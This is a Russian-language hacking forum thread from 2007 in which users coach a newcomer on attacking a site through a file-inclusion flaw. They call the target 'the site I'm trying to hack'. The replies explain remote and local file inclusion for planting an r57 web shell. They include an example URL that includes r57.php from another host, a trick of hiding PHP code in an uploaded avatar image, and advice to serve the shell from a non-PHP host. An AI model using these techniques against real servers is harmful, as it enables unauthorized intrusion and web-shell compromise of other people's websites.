ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Несколько моментов про инклюды
  #1  
Старый 12.02.2007, 19:00
Аватар для Dark_G
Dark_G
Новичок
Регистрация: 11.02.2007
Сообщений: 3
Провел на форуме:
4610

Репутация: 0
По умолчанию Несколько моментов про инклюды

Нашел на сервере скрипт, позволяющий просматривать любые файлы на сервере и инклудить php скрипты. Попытался инклудить r57 шелл с сайта на fatal.ru, но почему-то не получилось. На сервере стоит Windows 2003 server. Не подскажете что можно в данном случае сделать?
 
Ответить с цитированием

  #2  
Старый 12.02.2007, 19:10
Аватар для n0ne
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408

Репутация: 861


По умолчанию

значит плохо пытался, пытайся лучше, р57 ничем не хуже других пхп, и вообще если у тя не получаеца залить, с чего ты взял что вообще можно пхп инк делать?
 
Ответить с цитированием

  #3  
Старый 12.02.2007, 19:36
Аватар для Constantine
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

Ну если позволяет инклудить это очень хорошо. Кстати, не приходило в голову что инклуд может быть локальным, позтому конструкция http://site.ru/file=http://othersite.ru/r57.php не работает. Залей php шелл на тот сервис, можт там есть форум или можно подгружать файлы.
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #4  
Старый 12.02.2007, 21:16
Аватар для Termin@L
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию

Constantine дело говорит, просто иногда перед тем как инклудить скрипт или файл, сначала проверяют его существование, поэтому инклудить можно только локально... если есть на сайте форум и можно грузить аватары с компа, то берёшь картинку открываешь в блокноте и в конец добавляешь пхп код, грузишь и инклудишь - вуаля. правда не везде покатит, но как вариант
 
Ответить с цитированием

  #5  
Старый 13.02.2007, 05:05
Аватар для Lesnoy_chelovek
Lesnoy_chelovek
Постоянный
Регистрация: 06.12.2006
Сообщений: 321
Провел на форуме:
1536533

Репутация: 370
Отправить сообщение для Lesnoy_chelovek с помощью ICQ
По умолчанию

Так, а мне вот интересно, мой шелл нафига трогать и палить, а?
 
Ответить с цитированием

  #6  
Старый 14.02.2007, 22:14
Аватар для Dark_G
Dark_G
Новичок
Регистрация: 11.02.2007
Сообщений: 3
Провел на форуме:
4610

Репутация: 0
По умолчанию

Меня больше другое волнует. Когда, я допустим, инклудю пхпшник, в котором, к примеру выполняется только phpinfo(), он мне выдает результат не от того сайта, который я пытаюсь взломать, а от того, на котором залит пхпшник. Почему же он все таки выполняется на втором сайте а не на аттакуемом?
 
Ответить с цитированием

  #7  
Старый 14.02.2007, 22:24
Аватар для Termin@L
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию

Ну это фиг знает, значит это не инклуд, либо ты что-то перепутал...
 
Ответить с цитированием

  #8  
Старый 15.02.2007, 11:30
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

2 Dark_G
видимо это не инклуд, а просто редирект на другую страничку. Такая фигня на вэб каталогах есть
 
Ответить с цитированием

  #9  
Старый 15.02.2007, 21:22
Аватар для Dark_G
Dark_G
Новичок
Регистрация: 11.02.2007
Сообщений: 3
Провел на форуме:
4610

Репутация: 0
По умолчанию

Цитата:
Сообщение от Spyder  
2 Dark_G
видимо это не инклуд, а просто редирект на другую страничку. Такая фигня на вэб каталогах есть
Если редирект, то только из фрейма. Но все равно с этого ведь можно что-то поиметь! Просмотр файлов, как никак.
 
Ответить с цитированием

  #10  
Старый 18.02.2007, 11:03
Аватар для m0nzt3r
m0nzt3r
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме:
5355463

Репутация: 2258


По умолчанию

Цитата:
Меня больше другое волнует. Когда, я допустим, инклудю пхпшник, в котором, к примеру выполняется только phpinfo(), он мне выдает результат не от того сайта, который я пытаюсь взломать, а от того, на котором залит пхпшник. Почему же он все таки выполняется на втором сайте а не на аттакуемом?
не догадываешь почему? это потому что тот хост, где у тебя пхп скрипт, поддерживает пхп скрипты.А ты инклудишь его лол..надо хостинг, который не поддерживает пхп
__________________
Elite VPN from Green. Quality. Click and buy!!!

Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Про одно всё, про  одно..... Николь Болталка 20 01.02.2009 18:31
Плакаль!!!! Бродил вчера по врачебным форумам, искал инфу про лопнувшие в глазах .... $G@mer Болталка 6 12.10.2006 17:12
Статья от novichka про АНтичат. Егорыч+++ Болталка 48 14.07.2006 17:09
Несколько вопросов по IPB 2.0.4 Vilen Форумы 1 01.07.2006 15:19
Несколько дней болит голова...need help? Болталка 4 15.08.2002 19:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ